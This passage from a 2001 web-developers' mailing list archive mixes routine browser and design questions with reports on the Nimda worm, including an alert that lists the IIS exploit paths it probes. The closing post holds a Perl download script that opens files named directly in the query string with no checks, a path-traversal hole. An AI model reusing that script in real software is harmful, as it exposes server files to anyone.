"unknown". This forces most browsers to prompt to save the file. There was only two caveats: 1. IE (various version) will "sniff" the file to see if it recognizes it. If it does recognize it, then it will process it, ignoring the MIME type. Nothing can be done about this. 2. IE 5.5 SP1 will incorrectly offer to save the file using the name of the download page, instead of the file name provided in "Content-disposition". Again, there is no workaround for this. Your only other options are to use a Java type download manager. Glenn Hunt ghunt at hds.ca -----Original Message----- From: thelist-admin at lists.evolt.org [mailto:thelist-admin at lists.evolt.org] On Behalf Of Kevin Martin Sent: Tuesday, September 18, 2001 11:55 AM To: thelist at lists.evolt.org Subject: [thelist] Browser detection and save file as A client wished for an upload-download page; I borrowed some PHP code to invoke ftp, which worked fine for the upload but it fell over on the download side. I hacked the PHP to present http links to the available files, so it works both ways now. But... it requires the user to be clueful enough to right-click (or whatever the equivalent is on a Mac!) in order to do a 'save file' or 'save link' or 'save this link as' depending on the browser she's using. So... I was wondering if anyone had a clever trick that would force all (or even most) browsers to download a file rather than opening a file? I have complete control over the server (Apache), if that helps. Failing that, a pointer to some pre-tested code to detect the browser and platform would be a godsend -- few things shake a user's confidence worse than asking her to "right-click" with a Mac mouse. IE 5 on MacOS 9.1 does NOT like self-signed OpenSSL certificates. It will hang your Mac hard if you even try to view the site. Be warned! --------------------------------------- For unsubscribe and other options, including the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! From Matt at grndwtr.com Tue Sep 18 13:23:46 2001 From: Matt at grndwtr.com (Matthias Ritzkowski) Date: Tue Sep 18 13:23:46 2001 Subject: [thelist] failure notice (& CF TIP) Message-ID: <8179FA78B6D0D111AA53006097B0128007AF0F@mail1> Any thoughts on what to do when it executed already? Matthias -----Original Message----- From: Seth Bienek [mailto:seth at sethbienek.com] Sent: Tuesday, September 18, 2001 12:07 To: thelist at lists.evolt.org Subject: RE: [thelist] failure notice (& CF TIP) This return was generated as a result of the W32.Nimda.A at mm worm being sent out today. If you have received an email from thelist at lists.evolt.org with an unusually long subject line, do NOT open it. It contains a self-running executable. Most virus scanners will not detect this virus either. Have a nice day, Seth From hblair at hotfootmail.com Tue Sep 18 13:30:41 2001 From: hblair at hotfootmail.com (Hugh Blair) Date: Tue Sep 18 13:30:41 2001 Subject: [thelist] another worm? In-Reply-To: <200109181519.f8IFJBVW010738@leo.evolt.org> Message-ID: http://securityresponse.symantec.com/avcenter/venc/data/w32.nimda.a at mm.html http://www.cert.org/current/current_activity.html#port80 http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0109&L=ntbugtraq&F=P &S=&P=1747 -Hugh ____________________________ http://www.wholesalenics.net > -----Original Message----- > From: thelist-admin at lists.evolt.org > [mailto:thelist-admin at lists.evolt.org]On Behalf Of aardvark > Sent: Tuesday, September 18, 2001 10:19 AM > To: thelist at lists.evolt.org > Subject: [thelist] another worm? > > > > ok, a few of our clients were hit this morning by something that > tries to get your browser (on windows) to download a .eml file > which it would then launch via an .exe... > > i can't get to any virus sites, since all web traffic coming and going > is pretty hosed right now... > > so, is there a new worm out there? the IIS servers affected were > *supposedly* patched against the last batch... > > anyone? From domitianx at domitianx.com Tue Sep 18 13:31:02 2001 From: domitianx at domitianx.com (DomitianX) Date: Tue Sep 18 13:31:02 2001 Subject: [thelist] another worm? In-Reply-To: <200109181730.f8IHULe17729@dymwsm11.mailwatch.com> Message-ID: <002101c1406f$64c16cf0$f329ca93@MikeC> http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_ad p.php?p_refno=010918-000005 ************************ Mike Carlson http://www.domitianx.com domitianx at domitianx.com Thought Of The Moment: "My software never has bugs. It just develops random features." ************************ -----Original Message----- From: thelist-admin at lists.evolt.org [mailto:thelist-admin at lists.evolt.org] On Behalf Of Gerenday, Perry (P.) Sent: Tuesday, September 18, 2001 12:30 PM To: 'thelist at lists.evolt.org' Subject: RE: [thelist] another worm? -----Original Message----- From: aardvark [mailto:roselli at earthlink.net] > ok, a few of our clients were hit this morning by something that > tries to get your browser (on windows) to download a .eml file > which it would then launch via an .exe... > > i can't get to any virus sites, since all web traffic coming > and going > is pretty hosed right now... > > so, is there a new worm out there? the IIS servers affected were > *supposedly* patched against the last batch... > > anyone? Alright, this is getting *real* errie. I've been receiving these auto-reply messages over the past hour. Something seems to be up. Are we under attack on the net? From: MAILER-DAEMON at dti.net Subject:Undelivered Mail Returned to Sender From: MAILER-DAEMON at lists.evolt.org Subject:Undelivered Mail Returned to Sender From: Returned message - mailbox size exceeded Subject: Mensagem Automatica do Terra [null at terra.com.br]) From: MCPHelp at microsoft.com Subject:[thelist] MCP Acknowledgement From: newmailsweeper3 at state.gov Subject: [thelist] Blocked EXECUTABLE to Department of State Perry Gerenday, Visual Communications Artist www.virtually-artistic.com --------------------------------------- For unsubscribe and other options, including the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! From rklegman at mediaone.net Tue Sep 18 13:33:42 2001 From: rklegman at mediaone.net (Ron Klegman) Date: Tue Sep 18 13:33:42 2001 Subject: [thelist] another worm? In-Reply-To: <200109181519.f8IFJBVW010738@leo.evolt.org> Message-ID: yes.. this is correct.. Symantec rates this at threat level 4.. here is the scoop: From: Sophos Alert System [mailto:listmaster at sophos.com] Sent: Tuesday, September 18, 2001 12:00 PM To: Undisclosed recipients: Subject: EMERGENCY ALERT: W32/Nimda virus spreading widely EMERGENCY ALERT: W32/Nimda virus spreading widely Sophos has received a significant number of reports of users receiving a new, in-the-wild, virus called W32/Nimda-A. Sophos has issued protection against W32/Nimda-A, and is recommending customers update their copies of Sophos Anti-Virus to protect against it. W32/Nimda-A arrives as an email attachment called README.EXE To read more about W32/Nimda-A and download protection please see: http://www.sophos.com/virusinfo/analyses/w32nimdaa.html Sophos recommends customers adopt a policy of "safe computing" in conjunction with up-to-date anti-virus software to reduce the threat of computer viruses. For more details please see: http://www.sophos.com/virusinfo/articles/safehex.html Regards Sophos Anti-Virus > -----Original Message----- > From: thelist-admin at lists.evolt.org > [mailto:thelist-admin at lists.evolt.org]On Behalf Of aardvark > Sent: Tuesday, September 18, 2001 11:19 AM > To: thelist at lists.evolt.org > Subject: [thelist] another worm? > > > > ok, a few of our clients were hit this morning by something that > tries to get your browser (on windows) to download a .eml file > which it would then launch via an .exe... > > i can't get to any virus sites, since all web traffic coming and going > is pretty hosed right now... > > so, is there a new worm out there? the IIS servers affected were > *supposedly* patched against the last batch... > > anyone? > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > From norman.bunn at mindspring.com Tue Sep 18 14:28:45 2001 From: norman.bunn at mindspring.com (Norman Bunn) Date: Tue Sep 18 14:28:45 2001 Subject: [thelist] failure notice (& CF TIP) References: <8179FA78B6D0D111AA53006097B0128007AF0F@mail1> Message-ID: <034601c14076$436e3860$0201a8c0@com> I can only suggest you check the major virus scanning software sites. They should have a standalone cleaner soon along with an updated file for the scanner very soon. > Any thoughts on what to do when it executed already? > Matthias > ! From Rory.Plaire at wahchang.com Tue Sep 18 14:45:04 2001 From: Rory.Plaire at wahchang.com (Rory.Plaire at wahchang.com) Date: Tue Sep 18 14:45:04 2001 Subject: [thelist] failure notice (& CF TIP) Message-ID: <41C0B6AB2A57D3119ED800A0C9EA3920034AD17A@arnold.bedrock.com> | Any thoughts on what to do when it executed already? Matthias, As far as I can tell, no one knows yet... I'm hanging in there on http://securityresponse.symantec.com/avcenter/venc/data/w32.nimda.a at mm.html until I see it. From richard.morris at web-designers.co.uk Tue Sep 18 14:45:06 2001 From: richard.morris at web-designers.co.uk (Richard H. Morris) Date: Tue Sep 18 14:45:06 2001 Subject: [thelist] failure notice (& CF TIP) In-Reply-To: <8179FA78B6D0D111AA53006097B0128007AF0F@mail1> Message-ID: On 18/9/01 7:16 pm, Matthias Ritzkowski at Matt at grndwtr.com wrote: > Any thoughts on what to do when it executed already? > Matthias How about: i) make sure you have the latest virus identity file; ii) run your installed scanner and disinfect your system; and iii) make a mental note to: a) never run an executable unless you've first virus checked it; b) make sure you're always bang up to date with your AV software; and c) spend a bit of money on *decent* AV software. -- _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ Richard H. Morris Director Web Designers Limited http://www.web-designers.co.uk _______________________________________________ Registered in England No 3506389 Registered Office: 3 Church Street Wymondham Norfolk NR18 0PH Trading Address: 4 Maden Close Wymondham Norfolk NR18 0UA _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ From djc at starkmedia.com Tue Sep 18 15:46:32 2001 From: djc at starkmedia.com (Daniel J. Cody) Date: Tue Sep 18 15:46:32 2001 Subject: [thelist] bounced messages.. Message-ID: <3BA7AFBC.1080301@starkmedia.com> Hi - I know a lot of you are just now receiving emails that have 'bounced' back to thelist, and I'm very sorry that happened. Most of them got through this morning before I could put thelist into a different mode where all posts have to be manually approved, and they come back to thelist in the first place because the programs that send the messages are sending them to the wrong address(they should follow the 'errors-to' line in the email header, Errors-To: thelist-admin at lists.evolt.org) They also got past the filters that usually hold back attachments because they were inline forwarded messages and hence came through as plain-text, thereby skipping around the filters that look for certain things in the header of the email. This was an very rare set of circumstances that caused this, and again, I'm very sorry for those of you getting these ugly, annoying bounces, but asses are being worked off trying to fix the situation :) Please feel free to email me offlist if you have any concerns or questions :) .djc. From mfeldman at wwwood.net Tue Sep 18 16:11:40 2001 From: mfeldman at wwwood.net (Matt Feldman) Date: Tue Sep 18 16:11:40 2001 Subject: [thelist] [fwd] Cookie Support Message-ID: <001475710211291BUNSON@bunson.webservepro.com> --------------------------------------------- This message was held by thelist software and is being manually forwarded by a list admin. Please remember to send emails in plain-text format only, or they will not reach thelist until it is later forwarded by a list admin. --------------------------------------------- Hey, Does anyone no a good way of detecting whether cookies have been turned off in a browser? Meaning the browser supports cookies, but the user has disabled them? thanks, Matt From chrisg at gsnet.com Tue Sep 18 16:26:29 2001 From: chrisg at gsnet.com (Chris George) Date: Tue Sep 18 16:26:29 2001 Subject: [thelist] Pagecurl plugin for the Mac? Message-ID: Hi all, I was wondering if anyone knew of a free or at least incredibly reasonably priced pagecurl plugin for PhotoShop 6 Mac. It's to illustrate printable parts of the site... Either that or if someone has a better idea to illustrate it, I'm all ears - I hatehatehate cheeseFilters. Thanks!!! Chris. From amanda at gawow.com Tue Sep 18 16:40:50 2001 From: amanda at gawow.com (A. Erickson) Date: Tue Sep 18 16:40:50 2001 Subject: [thelist] Pagecurl plugin for the Mac? In-Reply-To: Message-ID: <000901c14089$f5770600$a63c1ad8@75ctt01> > I was wondering if anyone knew of a free or at least > incredibly reasonably priced pagecurl plugin for PhotoShop 6 > Mac. It's to illustrate printable parts of the site... It's pretty easy to make a page curl actually. If you're at all good with paths you can draw a triangle. Use the convert points tool to make two sides have a nice curve to them. Give the triangle a one pixel stroke, then fill it with a gradient. You'll have to play with the gradient a bunch to get it to look just right but you can do it. You'll probably want to give the curl a shadow. You would copy and paste the triangle to another layer underneath. Make it one color. Rotate it a bit so you see just the point and then change the opacity. It's easy but you'll need to play a bit... Or, you know, get a plugin (which I've never heard of for this but it's probably out there). - amanda From rthigpen at nc.rr.com Tue Sep 18 16:48:58 2001 From: rthigpen at nc.rr.com (Ron Thigpen) Date: Tue Sep 18 16:48:58 2001 Subject: [thelist] W32/Nimda DATs available from McAfee Message-ID: <3BA7C101.7000302@nc.rr.com> W32/Nimda DATs available from McAfee . If you are running their AV software you'll want to get this right away. Looks like this one spreads using multiple methods. It will email itself (similar to Melissa and I Love You). Compromised IIS webservers will spread it through port scanning (similar to Code Red), as well as through embedded javascript code that opens a new window and loads a file named "readme.eml". This file is contains multipart MIME that is capable of running, *without user intervention*, on vulnerable Windows systems. This is also exploited in email clients that will load code into IE. If you run Outlook, and haven't yet disabled scripts, now would be a good time. If you've got IE you might want to patch it: http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/security/bulletin/ms01-020.asp Cheers, --rt From genghis at members.evolt.org Tue Sep 18 19:26:01 2001 From: genghis at members.evolt.org (John Handelaar) Date: Tue Sep 18 19:26:01 2001 Subject: [thelist] failure notice (& CF TIP) In-Reply-To: Message-ID: > -----Original Message----- > From: thelist-admin at lists.evolt.org > [mailto:thelist-admin at lists.evolt.org]On Behalf Of Richard H. Morris > Sent: 18 September 2001 20:38 > To: TheList > Subject: Re: [thelist] failure notice (& CF TIP) > > How about: > > i) make sure you have the latest virus identity file; > ii) run your installed scanner and disinfect your system; and > iii) make a mental note to: > a) never run an executable unless you've first virus checked it; > b) make sure you're always bang up to date with your AV software; and > c) spend a bit of money on *decent* AV software. Utterly unhelpful. Way to go, Richard. The answer: 1 Look for all instances of README.EXE on your local disks and delete them 2 Search the registry for 'macrosoft' and remove the keys 3 Uninstall IIS and Windows Scripting Server on your desktop machine 4 Disable 'active scripting' in IE at all 4 security settings. Better still, get Mozilla 0.9.4 instead 'cos it's (believe it or not) more robust and doesn't suffer from the security bug which enables one of this worm's 6 or 7 methods of propagation. ------------------------------------------ John Handelaar T +44 20 7209 4117 M +44 7930 681789 F +44 870 169 7657 E john at userfrenzy.com ------------------------------------------ From isaac at members.evolt.org Tue Sep 18 19:26:17 2001 From: isaac at members.evolt.org (isaac) Date: Tue Sep 18 19:26:17 2001 Subject: [thelist] another worm? In-Reply-To: <5.0.2.1.0.20010918113219.021d4a38@mail.imaginuity.com> Message-ID: If you have IIS running on any net-accessible machine somewhere, even if you don't care about it getting hacked, lock it down. We had a gateway machine running IIS that we weren't too worried about. Then code red did $800 worth of data transfer (data costs are very high in Australia - 18-25c/MB) on our ADSL connection. Telstra (primary telco here in Australia) nicely refunded 30+% of that despite being under no obligation to do so. Unless you have money to burn, lock down your machine. If you have money to burn, pay someone else to secure it for you. Microsoft released some kind of lockdown tool which is quick to download, ultra-easy to run, and (from memory) doesn't require any rebooting of the machine. I'm sure the URL is available somewhere on their site. isaac -------------------------------------------------------------- triple zero digital | upstairs at 200 the parade, norwood 5067 (08)83320545 | www.triplezero.com.au | isaac at triplezero.com.au From rthigpen at nc.rr.com Tue Sep 18 19:26:31 2001 From: rthigpen at nc.rr.com (Ron Thigpen) Date: Tue Sep 18 19:26:31 2001 Subject: [thelist] Worm Alert -- W32.nimda.a.mm Message-ID: <3BA77D8D.5030607@nc.rr.com> In case you hadn't seen this yet. Looks like an exploit of this vulnerability: http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/security/bulletin/ms01-020.asp Looks like thelist is already getting some of the e-mail variety. Will follow up with assessments as they arrive from the analysts. --rt -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm Date: September 18, 2001 Time: 1000 EDT RISK INDICES: Initial Assessment: RED HOT Threat: VERY HIGH, (rapidly increasing) Vulnerability Prevalence: VERY HIGH, effects IIS servers version 4.0, 5.0, and internal networks. Cost: High, command execution is possible Vulnerable Systems: IIS 4.0 and 5.0 SUMMARY: A new IIS worm is spreading rapidly. Its working name is Nimda: W32.nimda.a.mm It started about 9am eastern time today, Tuesday,September 18, 2001, Mulitple sensors world-wide run by TruSecure corporation are getting multiple hundred hits per hour. And began at 9:08am am. The worm seems to be targeting IIS 4 and 5 boxes and tests boxes for multiple vulnerabilities including: Almost all are get scripts, and a get msadc (cmd.exe) get_mem_bin vti_bin owssvr.dll Root.exe CMD.EXE ../ (Unicode) Getadmin.dll Default.IDA /Msoffice/ cltreq.asp This is not code red or a code red variant. The worm, like code red attempts to infect its local sub net first, then spreads beyond the local address space. It is spreading very rapidly. TruSecure believes that this worm will infect any IIS 4 and IIS 5 box with well known vulnerabilities. We believe that there are nearly 1Million such machines currently exposed to the Internet. Risks Indices: Vulnerability VULNERABILITY PREVALANCE is very high - Milllions of Internet Web server hosts: TruSecure process and essential configurations should generally be protective. The vulnerability prevalence world-wide is very high Threat - VERY HIGH and Growing The rate of growth and spread is exceedingly rapid - significantly faster than any worm to date and significantly faster than any variant of Code red. Cost -- Unknown, probably moderate per infected system. The worm itself is a file called README.EXE, or ADMIN.DLL a 56K file which is advertised as an audio xwave mime type file. Other RISKS: There is risk of DOS of network segments by traffic volume alone There is large risk of successful attack to both Internet exposed IIS boxes and to developer and Intranet boxes inside of corporations. Judging by the Code Red II experience, we expect many subtle routes of infection leading to inside corporate infections. We cannot discount the coincidence of the date and time of release, exactly one week to (probably to the minute) as the World Trade Center attack . REPLICATION: There are at least three mechanisms of spread: The worm seems to spread both by a direct IIS across Internet (IP spread) It probably also spreads by local shares. (this is not known for sure at this time) There is also an email vector where README.EXE is sent via email to numerous accounts. Mitigations TruSecure essential practices should work. Block all email with EXE attachments Filter for README.EXE Make sure IIS boxes are well patched and hardened, or removed from both the Internet and Intranets. Make sure any developer computing platforms are not running IIS of any version (many do so by default if either. Disconnect mail from the Internet Advise users not to double click on any unexpected attachments. Update anti-virus when your vendor has the signature. More Mitigations to follow, and additional information from TruSecure. DISCLAIMER: Copyright 2001 TruSecure Corporation. All rights reserved. This Alert is the property of the TruSecure Corporation. It may not be redistributed except within your own company or organization. This Alert is being provided for informational purposes only and is provided AS IS." The TruSecure Corporation makes no warranties of any kind, express or implied, including, but not limited to warranties of merchantability, fitness for a particular purpose, non-infringement, and warranties arising out of any course of dealing or course of conduct. Impenetrable security is unattainable in real world environments; the TruSecure Corporation cannot and does not guarantee protection against breaches of security. IN NO EVENT WILL THE TRUSECURE CORPORATION BE LIABLE FOR ANY BUSINESS INTERRUPTION, LOST REVENUE, PROFITS OR DATA, OR FOR DAMAGES OF ANY KIND, HOWEVER CAUSED, ARISING OUT OF YOUR USE OF OR INABILITY TO USE THE INFORMATION CONTAINED IN THIS WARNING, OR YOUR FAILURE TO RECEIVE ANY PRIOR OR FUTURE ALERTS, WATCHES OR WARNINGS, EVEN IF THE TRUSECURE CORPORATION HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. -----BEGIN PGP SIGNATURE----- Version: PGP 7.0.1 iQA/AwUBO6dhn0Nkp5EGviu0EQKC+ACgqNWUGzjEH71Zfidoj5wfK8o+EVoAnRFw ugG5gRQoGZ6uADCDyy/ogLsG =nGW1 -----END PGP SIGNATURE----- From jason at bigfatsite.com Tue Sep 18 19:26:49 2001 From: jason at bigfatsite.com (Jason Whitman) Date: Tue Sep 18 19:26:49 2001 Subject: [thelist] Re: web development for Solaris Message-ID: Regarding Solaris browsers, this table might help: http://hotwired.lycos.com/webmonkey/reference/browser_chart/index_nix.html I've found it helpful for some of my projects. Jason From hassan at webtuitive.com Tue Sep 18 20:08:18 2001 From: hassan at webtuitive.com (Hassan Schroeder) Date: Tue Sep 18 20:08:18 2001 Subject: [thelist] Re: web development for Solaris References: Message-ID: <3BA7ED5B.2CA19A56@webtuitive.com> Jason Whitman wrote: > > Regarding Solaris browsers, this table might help: > > http://hotwired.lycos.com/webmonkey/reference/browser_chart/index_nix.html hmmm, interesting, but -- what does the "XML supported" [X] in the Navigator 4.7 column really mean? Or put another way, what have I been overlooking all this time? :-) -- H* Hassan Schroeder ----------------------------- hassan at webtuitive.com Webtuitive Design === (+1) 408-938-0567 === http://webtuitive.com -- creating dynamic Web sites and applications since 1994 -- From evolt at georgedillon.com Tue Sep 18 20:39:02 2001 From: evolt at georgedillon.com (George Dillon) Date: Tue Sep 18 20:39:02 2001 Subject: [thelist] bounced messages.. Message-ID: <00e701c140aa$96e088c0$19d12cc3@athlon800> > I'm very sorry for ... ugly, annoying bounces, > asses are being worked off trying to fix the situation :) The annoyance was considerably lessened by the certain knowledge that you'd be on the case and a solution would be in place as soon as humanly possible. Thanks for looking after us Dan. Best wishes George Dillon From webdesign1 at irubin.com Wed Sep 19 05:52:36 2001 From: webdesign1 at irubin.com (Roee Rubin) Date: Wed Sep 19 05:52:36 2001 Subject: [thelist] Credit Card Number validation Message-ID: Hello, I am looking for a way to validate a credit card number using JavaScript. I am only looking to validate it for accuracy as opposed to true validity (stolen, expired, etc). I will appreciate any help. Roee Rubin Irubin Consulting roee at irubin.com http://www.irubin.com/ From web at master.gen.in.us Wed Sep 19 05:52:55 2001 From: web at master.gen.in.us (deke ) Date: Wed Sep 19 05:52:55 2001 Subject: [thelist] [fwd] Cookie Support In-Reply-To: <001475710211291BUNSON@bunson.webservepro.com> Message-ID: <3BA7F81B.28808.1169E03@localhost> On 18 Sep 2001, at 17:10, Matt Feldman posted a message which said: > Does anyone no a good way of detecting whether cookies have been turned > off in a browser? Meaning the browser supports cookies, but the user > has disabled them? Use unique user_id cookies. If a user doesn't give you his user_id cookie when he asks for a page, assign him one. If a user shows an HTTP_REFERER of a page that should have set that user_id cookie, and the user does not give you the cookie data with the page request, then cookies aren't enabled. It's impossible to distinguish browsers with cookies deliberately disabled from browsers without cookie support, for the reason that browsers can claim to be other browsers. deke ------------------------ "The church is near but the road is icy; the bar is far away but I will walk carefully." -- Russian Proverb From skaiser1 at skdesigns.com Wed Sep 19 05:54:03 2001 From: skaiser1 at skdesigns.com (Shirley Kaiser, SKDesigns) Date: Wed Sep 19 05:54:03 2001 Subject: [thelist] another worm? In-Reply-To: References: <5.0.2.1.0.20010918113219.021d4a38@mail.imaginuity.com> Message-ID: <5.1.0.14.2.20010918184316.027ccec0@mail.midtown.net> Isaac, My ISP's IIS servers got nailed this morning. It sound like he's potentially out a chunk of money, too? I don't know much at all about servers. I know he's got all the data backed up in at least 2 other locations, which gets backed up a lot. Seems like that would save him on this, but I don't know. I can't even imagine what my ISP is faced with today. I'm sure he's not a happy camper right about now. This really stinks, to be polite about it. ;-) I've got these posted at my web log, which isn't online so I'll go ahead and post them here -- some sites with info about this: W32.Nimda.A at mm http://www.sarc.com/avcenter/venc/data/w32.nimda.a at mm.html [09/18/01 12:38:50 PM PDT, Symantec] FBI investigating new Internet worm http://www.cnn.com/2001/TECH/internet/09/18/internet.attack.ap/index.html [09/18/01 9:05 PM EDT (0105 GMT), Associated Press] New Computer Worm Hits Both Servers and PCs http://dailynews.yahoo.com/h/nm/20010918/tc/tech_worm_dc_2.html [09/18/01 updated 8:22 PM EDT, Reuters] Lethal worm spells double trouble http://dailynews.yahoo.com/h/zd/20010918/tc/lethal_worm_spells_double_trouble_1.html [09/18/01 02:15 PM EDT, By Robert Lemos, ZDNet News] Warmly, Shirley -- Shirley E. Kaiser, M.A. SKDesigns mailto:skaiser1 at skdesigns.com Website Development http://www.skdesigns.com/ Pianist, Composer http://www.shirleykaiser.com/ Moderator, I-Design http://www.adventive.com/lists/idesign/summary.html At 04:51 PM 09/18/2001, isaac wrote: >If you have IIS running on any net-accessible machine somewhere, even if you >don't care about it getting hacked, lock it down. We had a gateway machine >running IIS that we weren't too worried about. Then code red did $800 worth >of data transfer (data costs are very high in Australia - 18-25c/MB) on our >ADSL connection. Telstra (primary telco here in Australia) nicely refunded >30+% of that despite being under no obligation to do so. > >Unless you have money to burn, lock down your machine. If you have money to >burn, pay someone else to secure it for you. > >Microsoft released some kind of lockdown tool which is quick to download, >ultra-easy to run, and (from memory) doesn't require any rebooting of the >machine. I'm sure the URL is available somewhere on their site. > > >isaac > >-------------------------------------------------------------- >triple zero digital | upstairs at 200 the parade, norwood 5067 >(08)83320545 | www.triplezero.com.au | isaac at triplezero.com.au From richard.morris at web-designers.co.uk Wed Sep 19 05:54:10 2001 From: richard.morris at web-designers.co.uk (Richard H. Morris) Date: Wed Sep 19 05:54:10 2001 Subject: [thelist] failure notice (& CF TIP) In-Reply-To: Message-ID: John Handelaar [genghis at members.evolt.org] wrote: > -----Original Message----- > Utterly unhelpful. Way to go, Richard. > > The answer: > > 1 Look for all instances of README.EXE on your local > disks and delete them > > 2 Search the registry for 'macrosoft' and remove the > keys > > 3 Uninstall IIS and Windows Scripting Server on your > desktop machine > > 4 Disable 'active scripting' in IE at all 4 security > settings. Better still, get Mozilla 0.9.4 instead > 'cos it's (believe it or not) more robust and doesn't > suffer from the security bug which enables one > of this worm's 6 or 7 methods of propagation. Re: 4, just get a Mac and don't worry about Wintel executables? Just as helpful advice... You forgot to mention the hidden files load.exe and riched20.dll and the changes made to system.ini if we're going to be pedantic. There's still no excuse for web designers in particular who will be open to attacks like this not running decent and up to date AV software and more particularly having a policy in respect of executables and files sent to them. Good advice, I thought... _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ Richard. H. Morris, Web Designers Limited ~~ http://www.web-designers.co.uk ~~ "I'd rather have a full bottle in front of me than a full frontal lobotomy" _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ From pandion at gmx.net Wed Sep 19 05:54:16 2001 From: pandion at gmx.net (pandion) Date: Wed Sep 19 05:54:16 2001 Subject: [thelist] failure notice (& CF TIP) In-Reply-To: References: Message-ID: <4.3.2.7.2.20010919090739.00cd8560@mail.gmx.net> Hello, >The answer: > >1 Look for all instances of README.EXE on your local > disks and delete them I found by pure chance found 4 readme.exe in Eudora's Embedded folder when I was throwing images away. The only related email I can find is one of the bounced emails to thelist (the rest is probably already trashed). It seemed to have the program code displayed in the body.?????? Sorry if this seems stupid, but this is a new experience to me. How do I know if the crap executed or not? I, as said, use Eudora and my IE5 has all patches. My AV, eTrust EZ, didn't react to the readme.exe files. I've scanned the disk for readme.exe and readme.eml and checked the registry per your instructions. Found nothing. Does that mean it never executed? Thanks, pandy From gturner at ync.net Wed Sep 19 06:20:10 2001 From: gturner at ync.net (Glenn Turner) Date: Wed Sep 19 06:20:10 2001 Subject: [thelist] User cant see page In-Reply-To: <3B55A5A1F233D41183A800D0B74D4D5213AB62@SBS> Message-ID: <5.1.0.14.0.20010918094508.02982348@pop31.ync.net> At 10:55 AM 9/18/2001 +0200, you wrote: >Worked fine for me with Netscape 4.7 on PC (without Flash). I'd bet you >anything they are using Netscape on a Mac - it seems to be way more >*sensitive* than on the PC. I received the html site using Netscape 4.7 Mac with Flash 5.0 r41 installed hth, Glenn Turner :alias: http://peccaui.com/alias From kerin at airside.co.uk Wed Sep 19 06:56:15 2001 From: kerin at airside.co.uk (// kerin | airside.co.uk) Date: Wed Sep 19 06:56:15 2001 Subject: [thelist] IE 5 Mac scrollbar bug? Message-ID: hi everybody, I've run into what seems like a fairly obvious bug in IE5 for the Mac. has anybody had any experience with this, or know any workarounds? I've got a frameset with two frames, the top one with a menu, and a bottom one with the content, which is all held in absolutely positioned layers. The menu frame is set to not scroll, and the main area is set to scroll auto (this is so that users on lower res. screens dont get the content cut off at the bottom). On OSX, IE5.1b renders a thick white stripe where the scrollbar would be if it was needed. If I refresh the page, half of the layers in the content frame disappear. If I keep hitting refresh the results are slightly different, but always involve some layers missing. On OS9, IE5 adds the scrollbar in when its not needed. if I hit refresh, it does one of three things: renders a single un-needed vertical scrollbar renders un-needed vertical and horizontal scrollbars renders it correctly (no scrollbars) And this is with me just repeatedly hitting refresh, without changing a thing. If I resize the window on OS9, random parts of the page get reproduced in chunks where the scrollbar would be. This page works just fine on Netscape 4 and 6 on both Mac and PC, and on IE 5 and 6 on PC. I'm trying to upload it just now so that it can be seen in action, but our net connection is up and down like a YoYo today. So, can anybody shed any light on this? Its quite worrying - if this frames and scrollbar bug cant be solved, then the design for a major project is going to have to be rethought, pretty much at the last minute. Thanks in advance, Kerin -- From optima at hot.ee Wed Sep 19 06:56:39 2001 From: optima at hot.ee (Lauri Vain) Date: Wed Sep 19 06:56:39 2001 Subject: [thelist] Credit Card Number validation References: Message-ID: <003401c140f9$1adcd900$1631a8c0@hot7> Hi Roee, > I am looking for a way to validate a credit card number using JavaScript. There are various JS scripts out there that check whether a credit card is valid. A few are located at the following URL-s: http://webdeveloper.earthweb.com/webjs/item/0,3602,12752_18781,00.html http://webdeveloper.earthweb.com/webjs/item/0,3602,12752_15781,00.html HTH Yours, Lauri -- (p.s. I haven't tested them myself but a lot of people are using them) From markgill at uwalumni.com Wed Sep 19 07:59:30 2001 From: markgill at uwalumni.com (Mark Gillingham) Date: Wed Sep 19 07:59:30 2001 Subject: [thelist] Apache SSL and Perl save file In-Reply-To: <20010919002657.3EE4B9E3@relay.evolt.org> Message-ID: <200109191243.f8JChgQm003154@leo.evolt.org> I inherited a set of Perl scripts that collects student information and saves it to a flat text file. I needed to move the scripts to a new host, but still on Linux. The scripts work in non-SSL calls (http) and most of the work in SSL too (e.g., https). The part that does not work, but only in SSL, is appending a text variable to an open file. My question. Does Linux/Appache SSL have different rules for appending to a file when SSL is on versus when it is off? From evolt at brasscannon.net Wed Sep 19 08:09:52 2001 From: evolt at brasscannon.net (Kevin Martin) Date: Wed Sep 19 08:09:52 2001 Subject: [thelist] Re: Browser detection and save file as In-Reply-To: <20010919002721.27ECE9F9@relay.evolt.org>; from thelist-admin@lists.evolt.org on Tue, Sep 18, 2001 at 07:27:21PM -0500 References: <20010919002721.27ECE9F9@relay.evolt.org> Message-ID: <20010919090334.A7412@brasscannon.net> Thanks to Greg's pointer on how Cold Fusion does it, I was able to make a perl CGI to do the same thing. It's basically a shotgun marriage of my very first CGI (provided here by a kind soul) with a perl push-a-file routine that is normally used to send CA certificates. :-) Got a tip from Microsoft on how to fix the content-disposition header, to override IE's insistence on saving the file as 'download.cgi' -- it now appears to work in both IE 5 and Netscape. It needs some bulletproofing, of course, but here's what it looks like: 8<------ clip here #!/usr/bin/perl ## Syntax: http://mysite/cgi-bin/download.cgi?username=filename @params=split(/=/,$ENV{'QUERY_STRING'}); my $user_dir = "/home/www/$params[0]"; my $user_file = $params[1]; my $send_file = "$user_dir/$user_file"; ## Uncomment to debug in browser: #print "Content-type: text/html\r\n\r\n"; #print ""; #print "P0: ", $params[0], " P1: ", $params[1], "\r\n"; #print "SF: ", $send_file, "\r\n"; #print ""; ## my $data = ""; open(AFILE, "<$send_file"); while() { $data .= $_; } close(AFILE); print 